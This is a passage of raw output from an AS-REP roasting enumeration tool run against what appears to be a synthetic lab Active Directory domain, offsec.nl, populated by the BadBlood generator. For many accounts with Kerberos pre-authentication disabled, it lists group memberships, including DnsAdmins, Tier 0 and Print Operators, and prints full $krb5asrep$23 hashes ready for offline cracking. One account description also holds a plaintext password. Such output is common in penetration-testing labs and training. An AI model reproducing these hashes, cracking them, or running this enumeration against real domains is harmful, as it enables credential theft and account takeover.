2,DC=offsec,DC=nl CN=VI-sudivino1-distlist1,OU=ServiceAccounts,OU=HRE,OU=Tier 2,DC=offsec,DC=nl CN=DO-ayora2105-distlist1,OU=OGC,OU=Tier 2,DC=offsec,DC=nl CN=HI-teq-admingroup1,OU=GOO,OU=Stage,DC=offsec,DC=nl CN=LA-maryprinc-distlist1,OU=Tier 2,OU=Admin,DC=offsec,DC=nl CN=SA-per-distlist1,OU=Groups,OU=FSR,OU=Tier 1,DC=offsec,DC=nl CN=JA-319-distlist1,OU=BDE,OU=People,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:03:26 AM lastLogonTimestamp : 2/10/2022 1:59:40 PM $krb5asrep$23$LILA_GENTRY@offsec.nl:e65b063ad750b15c4fabfa89ff07fcd1$93ca84f3bc006c3905ed0a2ed13c46a453d101265d8e413961a4e259eb2812ddf57353def798e4a8e28589414f7aa3e66496588aa9033b984210ccb3aa4ad59870ebb125da93a839f2b1089bbdcd7266eb8d6984e2edd154221e9fc2236c93b0f9a8d0e82d72aebafd7a79f2f4cff4a2db1a17cf1feda83fee15321e86a82835a7a90f2379c63afc49403b826e163c88fb26144f63f04b5fbcb917ca9522fe544d885f8984aa3af2e176b173673c4c8e1b53c4a86495c332f5350a2ae55b405c43e14bdffefc32160bc49227e644de26c226d7575cee4ceb35395e12b2369b88d1ca571dcfdc Searching for ASREPRoast Users - Details for User 'ALYSON_GONZALES': sAMAccountName : ALYSON_GONZALES userPrincipalName : ALYSON_GONZALES@offsec.nl distinguishedName : CN=ALYSON_GONZALES,OU=Devices,OU=OGC,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2261 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=DI-mividaesm-distlist1,OU=T0-Roles,OU=Tier 0,OU=Admin,DC=offsec,DC=nl CN=36-nat-admingroup1,OU=.SecFrame.com,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:03:30 AM lastLogonTimestamp : 2/10/2022 1:59:40 PM $krb5asrep$23$ALYSON_GONZALES@offsec.nl:b216d81d8c0733218fa0ea00f8dba38e$aa395c2b0a5ecd7ff49cdff53f22e149072452c7b6d59a254731d7663de675b86da327a31055880adf1e664bf619eb34273ec8787ddbd335d66fbb8bc789b762c4c2d5b2102935fa8fcab3c361bd55580eb55c0073eaead1d2d1f91920914dfbc9233a240938b1aa105fe4e48d0eaab70699fdb1478f8678f197c2b2cc7345dfbbac6327dcc337ddbbc40597960a977f400d0e8bac055bb8334be2b28c1e1b19b804fc37541025ed0255da4c56fc4ba869f396a62a120ef2071134f8cf48609d8b7cca841640d8c7c383351b694f6599c131a62d40f8641a2feafc3c7a0e8de9fa305ad6597b Searching for ASREPRoast Users - Details for User 'JEWELL_SWANSON': sAMAccountName : JEWELL_SWANSON userPrincipalName : JEWELL_SWANSON@offsec.nl distinguishedName : CN=JEWELL_SWANSON,OU=Test,OU=GOO,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2280 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=SE-iro-distlist1,OU=SEC,OU=Tier 1,DC=offsec,DC=nl CN=JA-104744421-distlist1,OU=ServiceAccounts,OU=AZR,OU=Tier 1,DC=offsec,DC=nl CN=PO-tir-admingroup1,OU=Groups,OU=TST,OU=Tier 2,DC=offsec,DC=nl CN=EL-joseangel-distlist1,OU=Test,OU=GOO,OU=Stage,DC=offsec,DC=nl CN=MA-joseteamo-distlist1,OU=Groups,OU=BDE,OU=Tier 2,DC=offsec,DC=nl CN=BO-rat-distlist1,OU=TST,OU=Tier 2,DC=offsec,DC=nl CN=25-270-distlist1,OU=ESM,OU=Tier 1,DC=offsec,DC=nl CN=RO-dre-distlist1,OU=Test,OU=BDE,OU=Stage,DC=offsec,DC=nl CN=RO-hus-distlist1,OU=Groups,OU=GOO,OU=Tier 1,DC=offsec,DC=nl CN=AA-botykario-admingroup1,OU=Groups,OU=AWS,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:03:35 AM lastLogonTimestamp : 2/10/2022 1:59:40 PM $krb5asrep$23$JEWELL_SWANSON@offsec.nl:3db0b31c1e81a2adae017a84c9b94ee9$51e671bc2c9ec2d9cd8e1037da7167f92a847fa19bf34ab50d956599679c85d737574c2276c5ccd60a39d2057d69d28adddc788cc346b973676cd608243d528a68a8022e20fc8e09fb488f36c64d719f5938dd2e1d873747c98e3c343bd28c6dda8a96ba4a944966e479aa97ecfd81d7aedde2b15a0f6bf0851459ce65cab740d27f6074297e4d1f388089e0f4cf4e6ce69ff191d460802aad305388d5dc055215b4ece0015e7248f442c9f86323b408737518c2b6e9af8e9c95a5598a09a10a58fbd8ea8db2d6f458fccbeb430e82c8bf1869d19c8faed8b7e662928b1829123b0b904355d5 Searching for ASREPRoast Users - Details for User 'EUGENIO_DECKER': sAMAccountName : EUGENIO_DECKER userPrincipalName : EUGENIO_DECKER@offsec.nl distinguishedName : CN=EUGENIO_DECKER,OU=ServiceAccounts,OU=FSR,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2283 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : pwdLastSet : 2/5/2022 10:03:35 AM lastLogonTimestamp : 2/10/2022 1:59:41 PM $krb5asrep$23$EUGENIO_DECKER@offsec.nl:7dfd66ab983ba76c7d972a888b020bc6$38f3f7abc14b9fccc9ffc3988b86ff54cbbca82464b0f018a81d505264d860e6e7124a75b1472e0dd969af8db379132265e3328770f67f23a5034c601dea640ef00747afe023a323ee647b91f3fcbda979e81931defe34f46fb1dc3d8ff7d54ab0149b17111ee901a9e699cc356e9b524cd476e4a676455d12b19ac2158e0a6ff57b6171ebf231bde1cf4bce618533a8231d04e7dcad9e9d099399e0f792946f09113beebaf29fa2cb926b0f2509fe0ca9a4165c1f6a7768a1acdd682594e3e17b568998f51f99e09524e405bee9b819d9be7f9069f204b2158a33ce8dacbee6d3de3045f522 Searching for ASREPRoast Users - Details for User 'ULYSSES_DURHAM': sAMAccountName : ULYSSES_DURHAM userPrincipalName : ULYSSES_DURHAM@offsec.nl distinguishedName : CN=ULYSSES_DURHAM,OU=ServiceAccounts,OU=GOO,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2314 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : pwdLastSet : 2/5/2022 10:03:42 AM lastLogonTimestamp : 2/10/2022 1:59:41 PM $krb5asrep$23$ULYSSES_DURHAM@offsec.nl:7b7b94b963fc72da849f41f5ac0521d6$aa141b099d1f28d8b3dc6313eba92db4d257c1c9ed98f405f6e124be496ea32718fff9fb217f5e4d1a55891371acba67bee05157fdb40bbb164f79df4a65dd87b71b0fc717b7540ee069e2590bef36641674988d3b744dd01bac2cc6f3c5a04ebd2550da894118ff8cebb926ac97c292a2b1debd51799f53477b2138aebb4fb5c91e80cfdd685d92ab6c5804b8b2d3621097417252946226c34312ad1ea2a3b042707475be3af87545de871c2b38545865dab407fde216e04ad5659fec388b0f284e4b88c76d0864d8f7c56255aaef8ae1acab0ab09d6a6bd1e27b144e3686f1cffacd3f6afe Searching for ASREPRoast Users - Details for User 'ANNA_DUFFY': sAMAccountName : ANNA_DUFFY userPrincipalName : ANNA_DUFFY@offsec.nl distinguishedName : CN=ANNA_DUFFY,OU=OGC,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2340 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=KE-correossa-distlist1,OU=Staging,OU=Admin,DC=offsec,DC=nl CN=RO-tam-admingroup1,OU=ESM,OU=Tier 2,DC=offsec,DC=nl CN=MU-3Acuario3-distlist1,OU=Groups,OU=ITS,OU=Tier 2,DC=offsec,DC=nl CN=BE-bia-distlist1,OU=TST,OU=Tier 1,DC=offsec,DC=nl CN=SI-210182aya-distlist1,OU=Devices,OU=SEC,OU=Tier 1,DC=offsec,DC=nl CN=LO-juanchito-admingroup1,OU=HRE,OU=Stage,DC=offsec,DC=nl CN=RO-alex13061-admingroup1,OU=ServiceAccounts,OU=AWS,OU=Stage,DC=offsec,DC=n l CN=DnsAdmins,CN=Users,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:03:48 AM lastLogonTimestamp : 2/10/2022 1:59:41 PM $krb5asrep$23$ANNA_DUFFY@offsec.nl:9d590e81d833a9da5df4913f9584f975$11a81f34122f786948dc82b5f9e7243558daae5ab47a7a5fd5fe25438ad0bcfbad24e59b7f97608e59e5551a7f67bd4f879636216eb76c5bf9cfad50c7a0e562a8019425d171f6bc1c646fec960e5e514d3e0eafd7b87da6b8efa646a18a9375a0a55b9a9b498c8b3e9e2d96a4b3d27d21dc573ba37dd250b435d07c3e41212d125a78320c28c64ef527bf2ec6ffc97917b6788cfd0ba587d229399607ceb3a0083124b3377a8e869d5b1805c8f5f69f69ead970d04f4ad989c47115856e11c4f5b38356b21c7a701d468a80c5f51e06ffef4a4608a54bc22d1dd78b2ddcc15d45713eabed08 Searching for ASREPRoast Users - Details for User 'FLORENCE_COHEN': sAMAccountName : FLORENCE_COHEN userPrincipalName : FLORENCE_COHEN@offsec.nl distinguishedName : CN=FLORENCE_COHEN,OU=T1-Accounts,OU=Tier 1,OU=Admin,DC=offsec,DC=nl description : Just so I dont forget my password is xsTJU6civz%P5EgNv#H77%B57 objectSid : S-1-5-21-3509477529-2169914037-1395257886-2349 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=AL-reinadeco-distlist1,OU=ESM,OU=Tier 1,DC=offsec,DC=nl CN=BR-14jerusal-distlist1,OU=Devices,OU=AZR,OU=Tier 2,DC=offsec,DC=nl CN=MA-baloncest-distlist1,OU=Devices,OU=FSR,OU=Tier 2,DC=offsec,DC=nl CN=MA-yen-distlist1,OU=Test,OU=AZR,OU=Tier 1,DC=offsec,DC=nl CN=OP-qaz-admingroup1,OU=HRE,OU=People,DC=offsec,DC=nl CN=TR-1.11111E1-distlist1,OU=GOO,OU=Stage,DC=offsec,DC=nl CN=ST-campanita-admingroup1,OU=ServiceAccounts,OU=HRE,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:03:50 AM lastLogonTimestamp : 2/10/2022 1:59:41 PM $krb5asrep$23$FLORENCE_COHEN@offsec.nl:7440589b901b41cdbc51feadf23b2891$051f08d7f55fb4a15aaab8b5109fda7682584daa94895a57d33ec5937c00f19b01862409bab79420c4b33a9f8cbad9291a21188ef5ba8f585d299d326b712cbd4f2871f8edb86949cc9a23660b882619883d450fa9d2dc124c96d2652e4a682cef9aacfca63bcd1d845609e5185c8a95ad400954fb806df58b209000d2aee3bf094b33fd5d77df0e6ed8aedea6ae4dc2552376bee6bf32b6605a980cf475a4c43e7a90bfd044a4965ad65566b2c7eff8f30e014924a084ab862561efd1ca9a56e48a0f11d41a6aaf2ee2b07e9c4a2259a1fdb8d7ed086ce0e288abd3d944bb2936a9902e5e46 Searching for ASREPRoast Users - Details for User 'MYRNA_HOPPER': sAMAccountName : MYRNA_HOPPER userPrincipalName : MYRNA_HOPPER@offsec.nl distinguishedName : CN=MYRNA_HOPPER,OU=T0-Devices,OU=Tier 0,OU=Admin,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2355 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=SO-al6-distlist1,OU=Test,OU=FSR,OU=Tier 1,DC=offsec,DC=nl CN=AL-185-admingroup1,OU=Devices,OU=AWS,OU=Stage,DC=offsec,DC=nl CN=JE-350Zteamo-distlist1,OU=Test,OU=ESM,OU=Stage,DC=offsec,DC=nl CN=FL-danielase-distlist1,OU=ServiceAccounts,OU=OGC,OU=Tier 1,DC=offsec,DC=nl CN=CO-264-admingroup1,OU=ServiceAccounts,OU=FIN,OU=Stage,DC=offsec,DC=nl CN=KR-asdfghjkl-distlist1,OU=Devices,OU=FSR,OU=Stage,DC=offsec,DC=nl CN=LE-nigthwish-distlist1,OU=Test,OU=HRE,OU=Stage,DC=offsec,DC=nl CN=SH-re7-admingroup1,OU=Devices,OU=FIN,OU=Tier 2,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:03:52 AM lastLogonTimestamp : 2/10/2022 1:59:41 PM $krb5asrep$23$MYRNA_HOPPER@offsec.nl:ac45d45bdd85f83d29fd98bcd9dac766$4eed3381898592bc2746612cd44a724899b048763201863e8abed3769836a70445c7edf10d5bfb6cd8eaa1293dd47c70184d172423bf4356186e86e7c9a151a97bf74c8b08a13497e3509241489e4801c63d8ae7f0f03e1e26ba8ce263d55be493c68212e1f19d24383880d8404747c5d9dfa13aecb70a1ecba958862e336349730161a3208ebe69a663ae543b42865fa1a5c32161e380800f70057c82b8fbe3b694c6780b340218390cd54f6f6c8905dc7fe2c1d69cfe62e4f6b483540e2821e65c47deb3a793e994b5e801dbb983925229e8529695f133d2ab62a4af17bebed1220b098934 Searching for ASREPRoast Users - Details for User 'KELLY_ROSARIO': sAMAccountName : KELLY_ROSARIO userPrincipalName : KELLY_ROSARIO@offsec.nl distinguishedName : CN=KELLY_ROSARIO,OU=ServiceAccounts,OU=ITS,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2372 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=VA-bia-distlist1,OU=T2-Accounts,OU=Tier 2,OU=Admin,DC=offsec,DC=nl CN=CA-VLA-distlist1,OU=Groups,OU=AZR,OU=Stage,DC=offsec,DC=nl CN=KA-valentino-distlist1,OU=ServiceAccounts,OU=ESM,OU=Tier 1,DC=offsec,DC=nl CN=KE-WW9-distlist1,OU=FSR,OU=Tier 1,DC=offsec,DC=nl CN=WA-mar-distlist1,OU=Devices,OU=AWS,OU=Stage,DC=offsec,DC=nl CN=DA-telefonic-distlist1,OU=Test,OU=HRE,OU=Tier 1,DC=offsec,DC=nl CN=AR-angelrinc-distlist1,OU=SEC,OU=Tier 1,DC=offsec,DC=nl CN=LA-art-distlist1,OU=Devices,OU=ESM,OU=Tier 1,DC=offsec,DC=nl CN=OM-j47-admingroup1,OU=ServiceAccounts,OU=FSR,OU=Tier 1,DC=offsec,DC=nl CN=NO-soc-distlist1,OU=Test,OU=AWS,OU=Tier 1,DC=offsec,DC=nl CN=Event Log Readers,CN=Builtin,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:03:56 AM lastLogonTimestamp : 2/10/2022 1:59:41 PM $krb5asrep$23$KELLY_ROSARIO@offsec.nl:4b7559d5ceda033c39545fe6e1b489d5$fc7c63b437abd3fdf3a1100cec8c5c7e48ed846be294df4d7d2a0dbe3c74d2ba512d0f54bd499fb5a7886ed31246e3348b951cf9f9e875b27c9d3c9c94b3dc058dfd38e02aa14db775d9283d38e72365f6da2f24b146a5696a2edd619c0676d79be53f4889448af5fe756b8c049d04d137d4d4ada425439ef276d8585186d463f61b26d8d5a17eccb786efb2e334cdfe944bdb9a93bffce3875ecc99c6691462c7121556aa0e89cb6dfe7599adf2823a8acbc0d11380dc12c9968c8095127f3769886b22c688a2db445818089039fdabbbd55777427071e7b74212ff0010c6eb1710f7740235 Searching for ASREPRoast Users - Details for User 'PHILLIP_ATKINS': sAMAccountName : PHILLIP_ATKINS userPrincipalName : PHILLIP_ATKINS@offsec.nl distinguishedName : CN=PHILLIP_ATKINS,OU=ServiceAccounts,OU=ITS,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2391 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=NA-flaquichi-admingroup1,OU=FIN,OU=Tier 1,DC=offsec,DC=nl CN=EV-mey-distlist1,OU=Test,OU=OGC,OU=Tier 1,DC=offsec,DC=nl CN=Print Operators,CN=Builtin,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:04:00 AM lastLogonTimestamp : 2/10/2022 1:59:41 PM $krb5asrep$23$PHILLIP_ATKINS@offsec.nl:0f5446797edb1a39281479349dd99a80$fb4e84b41cbc930a4722606a528f0fda0f7762a641c79616d1fdc86b1caa3f2d7418027b18b123776859f6763cf21e00c54d1fbad591d78f9680f25b7640386b7873377658f0f8dfa528cc5330a90faf49512cd6b962b34dcd4c7317df20e032e766f39e992210d3d0b673a6efa5ffe3a934a72029fce8e3607a9dd276c8ad6773dd8449c78e33171e3799d812cc99897eee781e801c1f545adf08a82318b9f4b7fad7bc3f7303acee19279085a14989dba7573aa1edee41c42333dd310f29b702744d35d192c8e06ce18615936299d5c22bdc35db18837eeaa7f406b335874d3f594c8cd5a7 Searching for ASREPRoast Users - Details for User 'CHERRY_STANLEY': sAMAccountName : CHERRY_STANLEY userPrincipalName : CHERRY_STANLEY@offsec.nl distinguishedName : CN=CHERRY_STANLEY,OU=ServiceAccounts,OU=HRE,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2392 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : pwdLastSet : 2/5/2022 10:04:00 AM lastLogonTimestamp : 2/10/2022 1:59:41 PM $krb5asrep$23$CHERRY_STANLEY@offsec.nl:4edd05eab558df030d39be6035e4011d$5920a528c8cdebfc2e5c6479bf1d792895cfbc472eeb133905eb5a7c26585025e0b8f57a2265f52e0b0639a3cb8ad728f8ec5d2cd4d6fc20708c2479c488d59f715ab1fea51c93fa5fdd23f7dc4c82716d080ff0ff929e7b0eaef6065ba290e5a393d1d858fa2143c50bf7c17fcbf3fc1f40129f00c12058d989d2c5fc2763f46822feb7deefaf1099b78f35e42a473d887e52fc96e1d15afffafe753f680f5ca680bf389ce6f6627cd056c77481cc9df6d872fbcce269b688df9935636ebe9a23225f32c6c6083999a3394e40f79af46ac0ed7ad2634a2fd8769b5b9ddf2c22bbf695c79682 Searching for ASREPRoast Users - Details for User 'BEULAH_VILLARREAL': sAMAccountName : BEULAH_VILLARREAL userPrincipalName : BEULAH_VILLARREAL@offsec.nl distinguishedName : CN=BEULAH_VILLARREAL,OU=Unassociated,OU=People,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2394 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : pwdLastSet : 2/5/2022 10:04:01 AM lastLogonTimestamp : 2/10/2022 1:59:42 PM $krb5asrep$23$BEULAH_VILLARREAL@offsec.nl:4e1dc8fb5222da4c1b535214cf345d4f$610cacfab9a222fc7f61786651c1ce3a046f1ffda334c99c90a9717bf1aa47dd8f015f9a3ca61be5d1621a13bf1a152d6946a9c27bc50c5d86a69e358ff783f30f2b08949d880b549cf331ef8ce2549bf9ea6c4111157bd3d9c4771c8b423a76381664672e908d3f723fc3c48c5cda7f253d48f65c50d17a6b684117271b70db6cfc0ce28cd0939a6419d199cc45c4698c59aeb03b8650e57e2c7ca80a4d3c4742ba488c1006b322889d2d8e5786bc6a8430d734028009fc5bf2889536b0ff04519e305b0711a6476c97826a365a2cebe2383232cf4baf6d5d48621a56dfe6cf420ef42b974e Searching for ASREPRoast Users - Details for User 'MINNIE_BLANCHARD': sAMAccountName : MINNIE_BLANCHARD userPrincipalName : MINNIE_BLANCHARD@offsec.nl distinguishedName : CN=MINNIE_BLANCHARD,OU=Test,OU=FIN,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2396 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=LE-soloparat-distlist1,OU=ESM,OU=Tier 2,DC=offsec,DC=nl CN=CA-150-admingroup1,OU=Test,OU=FIN,OU=Tier 2,DC=offsec,DC=nl CN=JE-ger-admingroup1,OU=T0-Roles,OU=Tier 0,OU=Admin,DC=offsec,DC=nl CN=ME-hal-distlist1,OU=Groups,OU=FIN,OU=Tier 1,DC=offsec,DC=nl CN=JE-5504504ma-distlist1,OU=ESM,OU=Tier 1,DC=offsec,DC=nl CN=KE-miguelyca-distlist1,OU=ServiceAccounts,OU=SEC,OU=Tier 2,DC=offsec,DC=nl CN=ST-maz-distlist1,OU=ServiceAccounts,OU=HRE,OU=Tier 1,DC=offsec,DC=nl CN=MA-her-distlist1,OU=ServiceAccounts,OU=AWS,OU=Tier 2,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:04:01 AM lastLogonTimestamp : 2/10/2022 1:59:42 PM $krb5asrep$23$MINNIE_BLANCHARD@offsec.nl:3cf6c667f081ba3d29aab9dc52e2d0c7$8b8a0e14ee4388a0d8bf060bb7a458533a6b76cf417bba43932a6690586f8131594f221f2b58753e7b6ea8381f02dab8a8e2d251fc6be1f02ae5bff1e663423229ae9ce8947eb733e9b99759c27941e0abf548d0a3a9f9cd94b51285545519b8d1efbd3e4b9f4572ed0274272daf55278eecf5e139b7f81307c628ff5a3fe63563df6a670123afa670c25aa19f2efec8fa45d81e4fe2b68db432cee6703057bea54c0ed1f7e84718be03ced175853ed8f61be8518c7a168413b6deebeaeccf7ef250bd3d117d1b95b3377543fe3a403a9b19fa5827b2eb83dc9709c0ec000f2dd101533729d8 Searching for ASREPRoast Users - Details for User 'CLEVELAND_HOUSE': sAMAccountName : CLEVELAND_HOUSE userPrincipalName : CLEVELAND_HOUSE@offsec.nl distinguishedName : CN=CLEVELAND_HOUSE,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2421 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : pwdLastSet : 2/5/2022 10:04:07 AM lastLogonTimestamp : 2/10/2022 1:59:42 PM $krb5asrep$23$CLEVELAND_HOUSE@offsec.nl:c21b437fa01471525cea2ddb2df0a46b$97e6183fbb294b7dd6e229f216215e9db58d83ca72848153687ea2c7314bf2b36299a1b5c6f726dcd83652ccfac7143d93ff0a7a82f3bd036051efd8a9b87bcf211f8b45ff4a81291c9569ac951842112d145233f448d0ce2130d10e85affc27c3f8f5680b99f509caaab86699575808cbf9f3ed34682550916c7f6aa465f473d6429a86cf1c41cddb277fe8a064bf989e8c35cebf507735bfae8cc3ea23e45e50092a0a4d343aea85b30ceee0d0d987e1a073c51caade5189279f384ca8746593faa643c2eb8d3a1fbb784fa44a649d2ec8522ff5a18a9cdcd81dcbf0b4ca163cb4d834c7e3 Searching for ASREPRoast Users - Details for User 'OLIVE_DUKE': sAMAccountName : OLIVE_DUKE userPrincipalName : OLIVE_DUKE@offsec.nl distinguishedName : CN=OLIVE_DUKE,OU=Groups,OU=AZR,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2422 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=RI-bue-distlist1,OU=AWS,OU=Tier 2,DC=offsec,DC=nl CN=EM-JEN-distlist1,OU=Devices,OU=SEC,OU=Tier 1,DC=offsec,DC=nl CN=96-54ndr486r-distlist1,OU=Test,OU=FSR,OU=Tier 1,DC=offsec,DC=nl CN=NE-bonifacia-distlist1,OU=Groups,OU=OGC,OU=Tier 1,DC=offsec,DC=nl CN=MI-703-distlist1,OU=BDE,OU=Tier 1,DC=offsec,DC=nl CN=JO-whitefast-distlist1,OU=Groups,OU=GOO,OU=Tier 1,DC=offsec,DC=nl CN=DE-err-distlist1,OU=Groups,OU=FIN,OU=Stage,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:04:07 AM lastLogonTimestamp : 2/10/2022 1:59:42 PM $krb5asrep$23$OLIVE_DUKE@offsec.nl:2929ec5d9bc5a322e492ce30dabbea98$55986db07fe45cbe6f8bc0f540926629081567e34a08aa3fa94d97c3823d327b7612959d00316a5354e881b77aa567a3e08813baf6318b72594f8b4b37befd4ccd64c56beb833442ba8b7901412b0b4426e254a2535a3a6a84d930a8f7fc0d25a0735ad6660ff2c9c8cf189d47c466a146aaf1b0080accad720049e5bc0e1daf4c489da0cd05002df766633bcc9962c14e3aae4049abfc3364fba7ddafa963908625746c3bd5335339d57b7838e81be3628e4343ab6eb19e68f6681ea93d9c056f093427b748c6bc34bb6cd78c0bc823b932ec150db374fbd5f8e9c65683dfe5f5d8392264af Searching for ASREPRoast Users - Details for User 'YVETTE_GRAY': sAMAccountName : YVETTE_GRAY userPrincipalName : YVETTE_GRAY@offsec.nl distinguishedName : CN=YVETTE_GRAY,OU=ServiceAccounts,OU=FIN,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2458 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=ES-pen-distlist1,OU=FIN,OU=Tier 1,DC=offsec,DC=nl CN=AM-seguimosa-admingroup1,OU=T0-Permissions,OU=Tier 0,OU=Admin,DC=offsec,DC=nl CN=SE-616308127-distlist1,OU=BDE,OU=Tier 2,DC=offsec,DC=nl CN=GI-cho-distlist1,OU=FSR,OU=People,DC=offsec,DC=nl CN=DE-err-distlist1,OU=Groups,OU=FIN,OU=Stage,DC=offsec,DC=nl CN=BR-cas-distlist1,OU=ServiceAccounts,OU=TST,OU=Tier 2,DC=offsec,DC=nl CN=DA-fidelrome-distlist1,OU=Test,OU=BDE,OU=Stage,DC=offsec,DC=nl CN=DA-nancyteam-distlist1,OU=Devices,OU=AZR,OU=Stage,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:04:16 AM lastLogonTimestamp : 2/10/2022 1:59:42 PM $krb5asrep$23$YVETTE_GRAY@offsec.nl:35017a44b41116c5bb6b518228237c3d$5cfe82672fd27990951ab97cc5265987138763a978d730b94bc1dc899dbe81f0a6b50056e69b3fb90a1980df4416551ce5727804f8d6966239d75ac42d31a8b16891af3173411e2f06aa2a6c01e56d1f95682a64fffc79d8057431d6e3a7becb8f6761d01743cb1efa885823276e51ece3d572e0cfe6c4a50ac9f450badc5a9f98782489418bdb749c73e341750b383918343bc709e111d04c878542f314cd811fb53dc20c56abc64a7516153a6ada957618ee8298859e6da68ded5656b6f4891ae514ea7aba9343209b9d01f0a94f82f32ce256a3255793e3a95bbe421e7f9ef464137670e4 Searching for ASREPRoast Users - Details for User 'ISABELLE_MIRANDA': sAMAccountName : ISABELLE_MIRANDA userPrincipalName : ISABELLE_MIRANDA@offsec.nl distinguishedName : CN=ISABELLE_MIRANDA,OU=OGC,OU=People,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2473 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=SH-moh-distlist1,OU=ServiceAccounts,OU=FIN,OU=Stage,DC=offsec,DC=nl CN=TH-yosoybety-admingroup1,OU=Test,OU=GOO,OU=Stage,DC=offsec,DC=nl CN=CH-imagendig-distlist1,OU=ServiceAccounts,OU=HRE,OU=Tier 2,DC=offsec,DC=nl CN=AU-cla-distlist1,OU=Groups,OU=SEC,OU=Stage,DC=offsec,DC=nl CN=DA-laa-distlist1,OU=Groups,OU=HRE,OU=Tier 1,DC=offsec,DC=nl CN=SE-616308127-distlist1,OU=BDE,OU=Tier 2,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:04:19 AM lastLogonTimestamp : 2/10/2022 1:59:42 PM $krb5asrep$23$ISABELLE_MIRANDA@offsec.nl:a44f49535bd7ebdd75f67b3cdb86aaf0$a013f60fa1d3d247ca1e061730d352e77fdbb4b58272bfc765a4a6a2751e329eda59fb1eeaeb54d768606bd4c563e15392e2c01303daca59174107a22dd7188605451b1e520f2bc13fcd92b91a8ce24740126f1af7f587d2f628ad8be177bb1dd77ce459144d181cb4cf3a9b71f0e2e32ad0b5346b2c6bb9026fe9d649c2dfeaae8dbba5db4ba31630dca3bc4b30a5117539587686dc4a54fec64c477d80b59ffbe0c019ff1fcc719e1e18dc6d55815d169dd6b6e42d17798ec3a47e71791cc9378fe57c3ec4404dbc05e7f7bc1c4c959303b9f1f5b3757df2f1c4e12f09736927850b73d5bd Searching for ASREPRoast Users - Details for User 'STEFANIE_LYNN': sAMAccountName : STEFANIE_LYNN userPrincipalName : STEFANIE_LYNN@offsec.nl distinguishedName : CN=STEFANIE_LYNN,OU=HRE,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2483 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=LE-rio-distlist1,OU=Devices,OU=HRE,OU=Tier 1,DC=offsec,DC=nl CN=DI-BEL-distlist1,OU=Devices,OU=TST,OU=Stage,DC=offsec,DC=nl CN=AP-a12-admingroup1,OU=Stage,DC=offsec,DC=nl CN=CL-328-distlist1,OU=Devices,OU=ITS,OU=Stage,DC=offsec,DC=nl CN=JA-ros-distlist1,OU=BDE,OU=People,DC=offsec,DC=nl CN=DA-fidelrome-distlist1,OU=Test,OU=BDE,OU=Stage,DC=offsec,DC=nl CN=MA-1a2s3d4f5-distlist1,OU=GOO,OU=Stage,DC=offsec,DC=nl CN=DnsAdmins,CN=Users,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:04:21 AM lastLogonTimestamp : 2/10/2022 1:59:42 